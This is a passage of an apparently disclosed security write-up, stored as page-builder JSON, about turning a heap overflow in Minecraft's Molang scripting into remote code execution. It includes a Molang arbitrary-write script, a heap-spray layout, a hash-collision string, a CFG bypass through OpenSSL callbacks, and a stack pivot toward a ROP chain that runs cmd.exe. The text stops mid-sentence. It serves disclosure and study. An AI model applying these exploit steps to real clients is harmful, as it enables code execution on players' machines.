+------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[152478],{"type":23,"tag":64,"props":152479,"children":152480},{"__ignoreMap":7},[152481],{"type":28,"value":152476},{"type":23,"tag":24,"props":152483,"children":152484},{},[152485,152486,152491,152493,152498,152500,152505,152507,152512,152514,152519,152520,152525,152527,152532],{"type":28,"value":14104},{"type":23,"tag":64,"props":152487,"children":152489},{"className":152488},[],[152490],{"type":28,"value":36670},{"type":28,"value":152492}," field inside a ",{"type":23,"tag":64,"props":152494,"children":152496},{"className":152495},[],[152497],{"type":28,"value":150133},{"type":28,"value":152499}," is at offset ",{"type":23,"tag":64,"props":152501,"children":152503},{"className":152502},[],[152504],{"type":28,"value":150394},{"type":28,"value":152506},". We already control a corrupted variable, ",{"type":23,"tag":64,"props":152508,"children":152510},{"className":152509},[],[152511],{"type":28,"value":152400},{"type":28,"value":152513},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":64,"props":152515,"children":152517},{"className":152516},[],[152518],{"type":28,"value":6621},{"type":28,"value":151441},{"type":23,"tag":64,"props":152521,"children":152523},{"className":152522},[],[152524],{"type":28,"value":150636},{"type":28,"value":152526}," by 2 bytes, which in turn advances ",{"type":23,"tag":64,"props":152528,"children":152530},{"className":152529},[],[152531],{"type":28,"value":152400},{"type":28,"value":152533}," by 2 bytes.",{"type":23,"tag":24,"props":152535,"children":152536},{},[152537,152539,152544,152546,152552,152553,152558,152559,152564,152566,152571],{"type":28,"value":152538},"By moving ",{"type":23,"tag":64,"props":152540,"children":152542},{"className":152541},[],[152543],{"type":28,"value":6621},{"type":28,"value":152545}," so it equals ",{"type":23,"tag":64,"props":152547,"children":152549},{"className":152548},[],[152550],{"type":28,"value":152551},"cap - 0x38",{"type":28,"value":99829},{"type":23,"tag":64,"props":152554,"children":152556},{"className":152555},[],[152557],{"type":28,"value":36670},{"type":28,"value":151441},{"type":23,"tag":64,"props":152560,"children":152562},{"className":152561},[],[152563],{"type":28,"value":152400},{"type":28,"value":152565}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":64,"props":152567,"children":152569},{"className":152568},[],[152570],{"type":28,"value":152471},{"type":28,"value":152572}," pointer. We can then capture that pointer with:",{"type":23,"tag":435,"props":152574,"children":152576},{"code":152575},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[152577],{"type":23,"tag":64,"props":152578,"children":152579},{"__ignoreMap":7},[152580],{"type":28,"value":152575},{"type":23,"tag":24,"props":152582,"children":152583},{},[152584,152586,152591,152593,152598,152600,152605,152607,152613],{"type":28,"value":152585},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":64,"props":152587,"children":152589},{"className":152588},[],[152590],{"type":28,"value":6621},{"type":28,"value":152592}," until it equals ",{"type":23,"tag":64,"props":152594,"children":152596},{"className":152595},[],[152597],{"type":28,"value":152337},{"type":28,"value":152599},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":64,"props":152601,"children":152603},{"className":152602},[],[152604],{"type":28,"value":152471},{"type":28,"value":152606}," address in ",{"type":23,"tag":64,"props":152608,"children":152610},{"className":152609},[],[152611],{"type":28,"value":152612},"variable.saved_vtable_pointer",{"type":28,"value":199},{"type":23,"tag":16288,"props":152615,"children":152616},{},[],{"type":23,"tag":24,"props":152618,"children":152619},{},[152620,152622,152627,152629,152635],{"type":28,"value":152621},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":64,"props":152623,"children":152625},{"className":152624},[],[152626],{"type":28,"value":41023},{"type":28,"value":152628}," to the address ",{"type":23,"tag":64,"props":152630,"children":152632},{"className":152631},[],[152633],{"type":28,"value":152634},"vtable + 0x1000",{"type":28,"value":152636}," looks like this:",{"type":23,"tag":435,"props":152638,"children":152640},{"code":152639},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[152641],{"type":23,"tag":64,"props":152642,"children":152643},{"__ignoreMap":7},[152644],{"type":28,"value":152639},{"type":23,"tag":16388,"props":152646,"children":152648},{"id":152647},"required-heap-layout",[152649],{"type":28,"value":152650},"Required Heap Layout",{"type":23,"tag":24,"props":152652,"children":152653},{},[152654],{"type":28,"value":152655},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":435,"props":152657,"children":152659},{"code":152658}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[152660],{"type":23,"tag":64,"props":152661,"children":152662},{"__ignoreMap":7},[152663],{"type":28,"value":152658},{"type":23,"tag":24,"props":152665,"children":152666},{},[152667,152669,152675,152677,152682,152684,152689,152691,152696,152697,152702],{"type":28,"value":152668},"The first region (",{"type":23,"tag":64,"props":152670,"children":152672},{"className":152671},[],[152673],{"type":28,"value":152674},"Heap Region 1",{"type":28,"value":152676},") contains alternating ",{"type":23,"tag":64,"props":152678,"children":152680},{"className":152679},[],[152681],{"type":28,"value":150460},{"type":28,"value":152683},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":64,"props":152685,"children":152687},{"className":152686},[],[152688],{"type":28,"value":150490},{"type":28,"value":152690}," pointers of ",{"type":23,"tag":64,"props":152692,"children":152694},{"className":152693},[],[152695],{"type":28,"value":150460},{"type":28,"value":8478},{"type":23,"tag":64,"props":152698,"children":152700},{"className":152699},[],[152701],{"type":28,"value":150636},{"type":28,"value":152703}," from the entity object for our main attack.",{"type":23,"tag":24,"props":152705,"children":152706},{},[152707,152709,152715,152717,152722,152724,152729,152731,152736,152738,152743],{"type":28,"value":152708},"The second region (",{"type":23,"tag":64,"props":152710,"children":152712},{"className":152711},[],[152713],{"type":28,"value":152714},"Heap Region 2",{"type":28,"value":152716},") contains interleaved ",{"type":23,"tag":64,"props":152718,"children":152720},{"className":152719},[],[152721],{"type":28,"value":150636},{"type":28,"value":152723},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":64,"props":152725,"children":152727},{"className":152726},[],[152728],{"type":28,"value":152471},{"type":28,"value":152730}," pointer into ",{"type":23,"tag":64,"props":152732,"children":152734},{"className":152733},[],[152735],{"type":28,"value":152400},{"type":28,"value":152737}," during our main attack. It could be any object with a ",{"type":23,"tag":64,"props":152739,"children":152741},{"className":152740},[],[152742],{"type":28,"value":152471},{"type":28,"value":152744},", but for simplicity we use the entity object.",{"type":23,"tag":24,"props":152746,"children":152747},{},[152748,152750,152756,152758,152763],{"type":28,"value":152749},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":64,"props":152751,"children":152753},{"className":152752},[],[152754],{"type":28,"value":152755},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":28,"value":152757}," will very likely clobber the ",{"type":23,"tag":64,"props":152759,"children":152761},{"className":152760},[],[152762],{"type":28,"value":150956},{"type":28,"value":152764}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":24,"props":152766,"children":152767},{},[152768],{"type":28,"value":152769},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":24,"props":152771,"children":152772},{},[152773],{"type":28,"value":152774},"The final exploit proceeds in three stages:",{"type":23,"tag":73,"props":152776,"children":152777},{},[152778,152783,152788],{"type":23,"tag":77,"props":152779,"children":152780},{},[152781],{"type":28,"value":152782},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":77,"props":152784,"children":152785},{},[152786],{"type":28,"value":152787},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":77,"props":152789,"children":152790},{},[152791],{"type":28,"value":152792},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":16388,"props":152794,"children":152796},{"id":152795},"initial-corruption-variant-lfh-heap-approach",[152797],{"type":28,"value":152798},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":24,"props":152800,"children":152801},{},[152802],{"type":28,"value":152803},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":24,"props":152805,"children":152806},{},[152807,152809,152814,152815,152821],{"type":28,"value":152808},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":64,"props":152810,"children":152812},{"className":152811},[],[152813],{"type":28,"value":150703},{"type":28,"value":3965},{"type":23,"tag":64,"props":152816,"children":152818},{"className":152817},[],[152819],{"type":28,"value":152820},"last_index",{"type":28,"value":152822}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":24,"props":152824,"children":152825},{},[152826,152828,152833,152834,152839,152841,152846,152848,152853,152855,152860,152862,152868,152869,152875,152876,152882],{"type":28,"value":152827},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":64,"props":152829,"children":152831},{"className":152830},[],[152832],{"type":28,"value":147656},{"type":28,"value":151441},{"type":23,"tag":64,"props":152835,"children":152837},{"className":152836},[],[152838],{"type":28,"value":150636},{"type":28,"value":152840},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":64,"props":152842,"children":152844},{"className":152843},[],[152845],{"type":28,"value":150394},{"type":28,"value":152847}," within the ",{"type":23,"tag":64,"props":152849,"children":152851},{"className":152850},[],[152852],{"type":28,"value":150636},{"type":28,"value":152854}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":64,"props":152856,"children":152858},{"className":152857},[],[152859],{"type":28,"value":53161},{"type":28,"value":152861}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":64,"props":152863,"children":152865},{"className":152864},[],[152866],{"type":28,"value":152867},"0xfb",{"type":28,"value":588},{"type":23,"tag":64,"props":152870,"children":152872},{"className":152871},[],[152873],{"type":28,"value":152874},"0xfc",{"type":28,"value":8478},{"type":23,"tag":64,"props":152877,"children":152879},{"className":152878},[],[152880],{"type":28,"value":152881},"0xfd",{"type":28,"value":152883}," the script would do:",{"type":23,"tag":435,"props":152885,"children":152887},{"code":152886},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[152888],{"type":23,"tag":64,"props":152889,"children":152890},{"__ignoreMap":7},[152891],{"type":28,"value":152886},{"type":23,"tag":24,"props":152893,"children":152894},{},[152895,152897,152902,152903,152909,152911,152916],{"type":28,"value":152896},"That line would write the ",{"type":23,"tag":64,"props":152898,"children":152900},{"className":152899},[],[152901],{"type":28,"value":53161},{"type":28,"value":89705},{"type":23,"tag":64,"props":152904,"children":152906},{"className":152905},[],[152907],{"type":28,"value":152908},"0x302700fb00fc00fd",{"type":28,"value":152910}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":64,"props":152912,"children":152914},{"className":152913},[],[152915],{"type":28,"value":150636},{"type":28,"value":152917}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":7092,"props":152919,"children":152921},{"id":152920},"hijacking-execution",[152922],{"type":28,"value":152923},"Hijacking Execution",{"type":23,"tag":24,"props":152925,"children":152926},{},[152927,152929,152934,152936,152942],{"type":28,"value":152928},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":64,"props":152930,"children":152932},{"className":152931},[],[152933],{"type":28,"value":152471},{"type":28,"value":152935}," and function pointers in the writable ",{"type":23,"tag":64,"props":152937,"children":152939},{"className":152938},[],[152940],{"type":28,"value":152941},".data",{"type":28,"value":152943}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":24,"props":152945,"children":152946},{},[152947],{"type":28,"value":152948},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":24,"props":152950,"children":152951},{},[152952],{"type":28,"value":152953},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":24,"props":152955,"children":152956},{},[152957],{"type":23,"tag":149,"props":152958,"children":152960},{"alt":48104,"src":152959},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":24,"props":152962,"children":152963},{},[152964,152966,152972,152974,152980,152982,152987,152989,152994,152996,153002,153004,153009,153011,153017,153019,153024],{"type":28,"value":152965},"This snippet calls a method on an object: ",{"type":23,"tag":64,"props":152967,"children":152969},{"className":152968},[],[152970],{"type":28,"value":152971},"rcx",{"type":28,"value":152973}," holds the object pointer, the first ",{"type":23,"tag":64,"props":152975,"children":152977},{"className":152976},[],[152978],{"type":28,"value":152979},"mov",{"type":28,"value":152981}," loads the object's ",{"type":23,"tag":64,"props":152983,"children":152985},{"className":152984},[],[152986],{"type":28,"value":152471},{"type":28,"value":152988}," into ",{"type":23,"tag":64,"props":152990,"children":152992},{"className":152991},[],[152993],{"type":28,"value":54301},{"type":28,"value":152995},", and the function pointer at ",{"type":23,"tag":64,"props":152997,"children":152999},{"className":152998},[],[153000],{"type":28,"value":153001},"rax + 0x8",{"type":28,"value":153003}," is read into ",{"type":23,"tag":64,"props":153005,"children":153007},{"className":153006},[],[153008],{"type":28,"value":54301},{"type":28,"value":153010},". Finally, ",{"type":23,"tag":64,"props":153012,"children":153014},{"className":153013},[],[153015],{"type":28,"value":153016},"__guard_dispatch_icall_fptr",{"type":28,"value":153018}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":64,"props":153020,"children":153022},{"className":153021},[],[153023],{"type":28,"value":54301},{"type":28,"value":153025}," as a legal call target before invoking it.",{"type":23,"tag":24,"props":153027,"children":153028},{},[153029],{"type":28,"value":153030},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":24,"props":153032,"children":153033},{},[153034],{"type":23,"tag":149,"props":153035,"children":153037},{"alt":48104,"src":153036},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":24,"props":153039,"children":153040},{},[153041,153043,153049,153051,153057],{"type":28,"value":153042},"Here, the function pointer at ",{"type":23,"tag":64,"props":153044,"children":153046},{"className":153045},[],[153047],{"type":28,"value":153048},"vtable + 0x10",{"type":28,"value":153050}," is loaded into ",{"type":23,"tag":64,"props":153052,"children":153054},{"className":153053},[],[153055],{"type":28,"value":153056},"rdx",{"type":28,"value":153058}," and then called directly.",{"type":23,"tag":24,"props":153060,"children":153061},{},[153062],{"type":28,"value":153063},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":24,"props":153065,"children":153066},{},[153067,153069,153074],{"type":28,"value":153068},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":64,"props":153070,"children":153072},{"className":153071},[],[153073],{"type":28,"value":152471},{"type":28,"value":153075}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":16388,"props":153077,"children":153079},{"id":153078},"locating-overwrite-targets",[153080],{"type":28,"value":153081},"Locating Overwrite Targets",{"type":23,"tag":24,"props":153083,"children":153084},{},[153085,153087,153093,153094,153099,153101,153106,153108,153114],{"type":28,"value":153086},"One of the first targets we identified were the ",{"type":23,"tag":64,"props":153088,"children":153090},{"className":153089},[],[153091],{"type":28,"value":153092},"malloc",{"type":28,"value":8478},{"type":23,"tag":64,"props":153095,"children":153097},{"className":153096},[],[153098],{"type":28,"value":147704},{"type":28,"value":153100}," callbacks. These reside in the ",{"type":23,"tag":64,"props":153102,"children":153104},{"className":153103},[],[153105],{"type":28,"value":152941},{"type":28,"value":153107}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":64,"props":153109,"children":153111},{"className":153110},[],[153112],{"type":28,"value":153113},"OPENSSL_malloc/free",{"type":28,"value":129562},{"type":23,"tag":24,"props":153116,"children":153117},{},[153118],{"type":23,"tag":149,"props":153119,"children":153121},{"alt":48104,"src":153120},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":24,"props":153123,"children":153124},{},[153125],{"type":28,"value":153126},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":24,"props":153128,"children":153129},{},[153130,153132,153138,153140,153146,153148,153153],{"type":28,"value":153131},"Later, we found another promising function: ",{"type":23,"tag":64,"props":153133,"children":153135},{"className":153134},[],[153136],{"type":28,"value":153137},"ossl_ec_key_new_method_int",{"type":28,"value":153139},". This function creates and initializes an ",{"type":23,"tag":64,"props":153141,"children":153143},{"className":153142},[],[153144],{"type":28,"value":153145},"EC_KEY",{"type":28,"value":153147}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":64,"props":153149,"children":153151},{"className":153150},[],[153152],{"type":28,"value":152941},{"type":28,"value":153154},") containing function pointers:",{"type":23,"tag":24,"props":153156,"children":153157},{},[153158],{"type":23,"tag":149,"props":153159,"children":153161},{"alt":48104,"src":153160},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":24,"props":153163,"children":153164},{},[153165,153167,153173,153174,153180,153182,153187,153189,153195,153197,153202,153204,153209,153211,153216],{"type":28,"value":153166},"In the image above, ",{"type":23,"tag":64,"props":153168,"children":153170},{"className":153169},[],[153171],{"type":28,"value":153172},"ret->meth",{"type":28,"value":123026},{"type":23,"tag":64,"props":153175,"children":153177},{"className":153176},[],[153178],{"type":28,"value":153179},"default_ec_key_meth",{"type":28,"value":153181},", which points to a structure of function pointers located in ",{"type":23,"tag":64,"props":153183,"children":153185},{"className":153184},[],[153186],{"type":28,"value":152941},{"type":28,"value":153188},". It then calls ",{"type":23,"tag":64,"props":153190,"children":153192},{"className":153191},[],[153193],{"type":28,"value":153194},"ret->meth->init",{"type":28,"value":153196},", passing the ",{"type":23,"tag":64,"props":153198,"children":153200},{"className":153199},[],[153201],{"type":28,"value":15186},{"type":28,"value":153203}," pointer (",{"type":23,"tag":64,"props":153205,"children":153207},{"className":153206},[],[153208],{"type":28,"value":8476},{"type":28,"value":153210},"). This alone isn’t especially useful because ",{"type":23,"tag":64,"props":153212,"children":153214},{"className":153213},[],[153215],{"type":28,"value":8476},{"type":28,"value":153217}," is heap-allocated.",{"type":23,"tag":24,"props":153219,"children":153220},{},[153221,153223,153228],{"type":28,"value":153222},"But, if we look at how ",{"type":23,"tag":64,"props":153224,"children":153226},{"className":153225},[],[153227],{"type":28,"value":153194},{"type":28,"value":153229}," is invoked in the disassembly:",{"type":23,"tag":24,"props":153231,"children":153232},{},[153233],{"type":23,"tag":149,"props":153234,"children":153236},{"alt":48104,"src":153235},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":24,"props":153238,"children":153239},{},[153240,153241,153246,153248,153253,153255,153260,153262,153267,153269,153274,153276,153281,153283,153288,153290,153296],{"type":28,"value":4958},{"type":23,"tag":64,"props":153242,"children":153244},{"className":153243},[],[153245],{"type":28,"value":153194},{"type":28,"value":153247}," is not ",{"type":23,"tag":64,"props":153249,"children":153251},{"className":153250},[],[153252],{"type":28,"value":52022},{"type":28,"value":153254},", it is called while ",{"type":23,"tag":64,"props":153256,"children":153258},{"className":153257},[],[153259],{"type":28,"value":54301},{"type":28,"value":153261}," still contains the value of ",{"type":23,"tag":64,"props":153263,"children":153265},{"className":153264},[],[153266],{"type":28,"value":153172},{"type":28,"value":153268}," - that is, a pointer to the structure in ",{"type":23,"tag":64,"props":153270,"children":153272},{"className":153271},[],[153273],{"type":28,"value":152941},{"type":28,"value":153275}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":64,"props":153277,"children":153279},{"className":153278},[],[153280],{"type":28,"value":153179},{"type":28,"value":153282}," with a pointer to a region in ",{"type":23,"tag":64,"props":153284,"children":153286},{"className":153285},[],[153287],{"type":28,"value":152941},{"type":28,"value":153289}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":64,"props":153291,"children":153293},{"className":153292},[],[153294],{"type":28,"value":153295},"mov rsp, rax; ret",{"type":28,"value":153297},"-style gadget.",{"type":23,"tag":24,"props":153299,"children":153300},{},[153301,153303,153308,153310,153315],{"type":28,"value":153302},"Although we discovered that ",{"type":23,"tag":64,"props":153304,"children":153306},{"className":153305},[],[153307],{"type":28,"value":153137},{"type":28,"value":153309}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":64,"props":153311,"children":153313},{"className":153312},[],[153314],{"type":28,"value":153113},{"type":28,"value":153316}," callbacks.",{"type":23,"tag":16388,"props":153318,"children":153320},{"id":153319},"stack-pivot",[153321],{"type":28,"value":153322},"Stack Pivot",{"type":23,"tag":24,"props":153324,"children":153325},{},[153326,153328,153333,153335,153340,153342,153347,153349,153355],{"type":28,"value":153327},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":64,"props":153329,"children":153331},{"className":153330},[],[153332],{"type":28,"value":152941},{"type":28,"value":153334},", overwrite ",{"type":23,"tag":64,"props":153336,"children":153338},{"className":153337},[],[153339],{"type":28,"value":153179},{"type":28,"value":153341}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":64,"props":153343,"children":153345},{"className":153344},[],[153346],{"type":28,"value":153137},{"type":28,"value":153348},". This ultimately calls ",{"type":23,"tag":64,"props":153350,"children":153352},{"className":153351},[],[153353],{"type":28,"value":153354},"default_ec_key_meth->init",{"type":28,"value":153356},", which executes the pivot and begins ROP execution.",{"type":23,"tag":24,"props":153358,"children":153359},{},[153360,153362,153368,153370,153376],{"type":28,"value":153361},"We chose to overwrite the ",{"type":23,"tag":64,"props":153363,"children":153365},{"className":153364},[],[153366],{"type":28,"value":153367},"OPENSSL_free",{"type":28,"value":153369}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":64,"props":153371,"children":153373},{"className":153372},[],[153374],{"type":28,"value":153375},"OPENSSL_malloc",{"type":28,"value":153377}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":24,"props":153379,"children":153380},{},[153381,153383,153389,153390,153396,153398,153403],{"type":28,"value":153382},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":64,"props":153384,"children":153386},{"className":153385},[],[153387],{"type":28,"value":153388},"add rsp, 0x10; pop r14; ret",{"type":28,"value":8478},{"type":23,"tag":64,"props":153391,"children":153393},{"className":153392},[],[153394],{"type":28,"value":153395},"xchg rsp, rax; ret",{"type":28,"value":153397},". The exploit writes them into ",{"type":23,"tag":64,"props":153399,"children":153401},{"className":153400},[],[153402],{"type":28,"value":152941},{"type":28,"value":153404}," like this:",{"type":23,"tag":435,"props":153406,"children":153408},{"code":153407}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[153409],{"type":23,"tag":64,"props":153410,"children":153411},{"__ignoreMap":7},[153412],{"type":28,"value":153407},{"type":23,"tag":24,"props":153414,"children":153415},{},[153416,153418,153423,153425,153430,153432,153437,153439,153444,153446,153451,153453,153458,153460,153465],{"type":28,"value":153417},"The second gadget, ",{"type":23,"tag":64,"props":153419,"children":153421},{"className":153420},[],[153422],{"type":28,"value":153395},{"type":28,"value":153424},", is placed in the slot corresponding to the ",{"type":23,"tag":64,"props":153426,"children":153428},{"className":153427},[],[153429],{"type":28,"value":18238},{"type":28,"value":153431}," function pointer. As mentioned earlier, when ",{"type":23,"tag":64,"props":153433,"children":153435},{"className":153434},[],[153436],{"type":28,"value":153194},{"type":28,"value":153438}," is called, ",{"type":23,"tag":64,"props":153440,"children":153442},{"className":153441},[],[153443],{"type":28,"value":54301},{"type":28,"value":153445}," contains a pointer to ",{"type":23,"tag":64,"props":153447,"children":153449},{"className":153448},[],[153450],{"type":28,"value":153179},{"type":28,"value":153452}," - which we have overwritten and now points to our ",{"type":23,"tag":64,"props":153454,"children":153456},{"className":153455},[],[153457],{"type":28,"value":153388},{"type":28,"value":153459}," gadget in ",{"type":23,"tag":64,"props":153461,"children":153463},{"className":153462},[],[153464],{"type":28,"value":152941},{"type":28,"value":199},{"type":23,"tag":24,"props":153467,"children":153468},{},[153469,153471,153477,153479,153484,153486,153492,153494,153499,153501,153506,153508,153513,153515,153520,153522,153527,153529,153534],{"type":28,"value":153470},"When the call occurs, ",{"type":23,"tag":64,"props":153472,"children":153474},{"className":153473},[],[153475],{"type":28,"value":153476},"xchg rsp, rax",{"type":28,"value":153478}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":64,"props":153480,"children":153482},{"className":153481},[],[153483],{"type":28,"value":152941},{"type":28,"value":153485},", effectively moving ",{"type":23,"tag":64,"props":153487,"children":153489},{"className":153488},[],[153490],{"type":28,"value":153491},"rsp",{"type":28,"value":153493}," into our ROP region. After the ",{"type":23,"tag":64,"props":153495,"children":153497},{"className":153496},[],[153498],{"type":28,"value":8476},{"type":28,"value":153500},", execution continues at ",{"type":23,"tag":64,"props":153502,"children":153504},{"className":153503},[],[153505],{"type":28,"value":153388},{"type":28,"value":153507},", which advances ",{"type":23,"tag":64,"props":153509,"children":153511},{"className":153510},[],[153512],{"type":28,"value":153491},{"type":28,"value":153514}," by ",{"type":23,"tag":64,"props":153516,"children":153518},{"className":153517},[],[153519],{"type":28,"value":42057},{"type":28,"value":153521}," bytes, skipping over the padding and the ",{"type":23,"tag":64,"props":153523,"children":153525},{"className":153524},[],[153526],{"type":28,"value":153395},{"type":28,"value":153528}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":64,"props":153530,"children":153532},{"className":153531},[],[153533],{"type":28,"value":153395},{"type":28,"value":153535},") begins executing.",{"type":23,"tag":7092,"props":153537,"children":153539},{"id":153538},"rop-chain",[153540],{"type":28,"value":153541},"ROP Chain",{"type":23,"tag":24,"props":153543,"children":153544},{},[153545,153547,153553,153555,153560],{"type":28,"value":153546},"For the demo, the ROP chain simply calls ",{"type":23,"tag":64,"props":153548,"children":153550},{"className":153549},[],[153551],{"type":28,"value":153552},"system(\"cmd.exe\")",{"type":28,"value":153554},". Because Minecraft does not use ",{"type":23,"tag":64,"props":153556,"children":153558},{"className":153557},[],[153559],{"type":28,"value":129284},{"type":28,"value":153561},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":24,"props":153563,"children":153564},{},[153565,153567,153573,153575,153581,153583,153588,153590,153596,153598,153603],{"type":28,"value":153566},"This is straightforward: the chain first calls ",{"type":23,"tag":64,"props":153568,"children":153570},{"className":153569},[],[153571],{"type":28,"value":153572},"GetModuleHandle(\"ucrtbase.dll\")",{"type":28,"value":153574}," to obtain the base address of ",{"type":23,"tag":64,"props":153576,"children":153578},{"className":153577},[],[153579],{"type":28,"value":153580},"ucrtbase.dll",{"type":28,"value":153582}," (which exports ",{"type":23,"tag":64,"props":153584,"children":153586},{"className":153585},[],[153587],{"type":28,"value":129284},{"type":28,"value":153589},"). It then calls ",{"type":23,"tag":64,"props":153591,"children":153593},{"className":153592},[],[153594],{"type":28,"value":153595},"GetProcAddress(ucrtbase_addr, 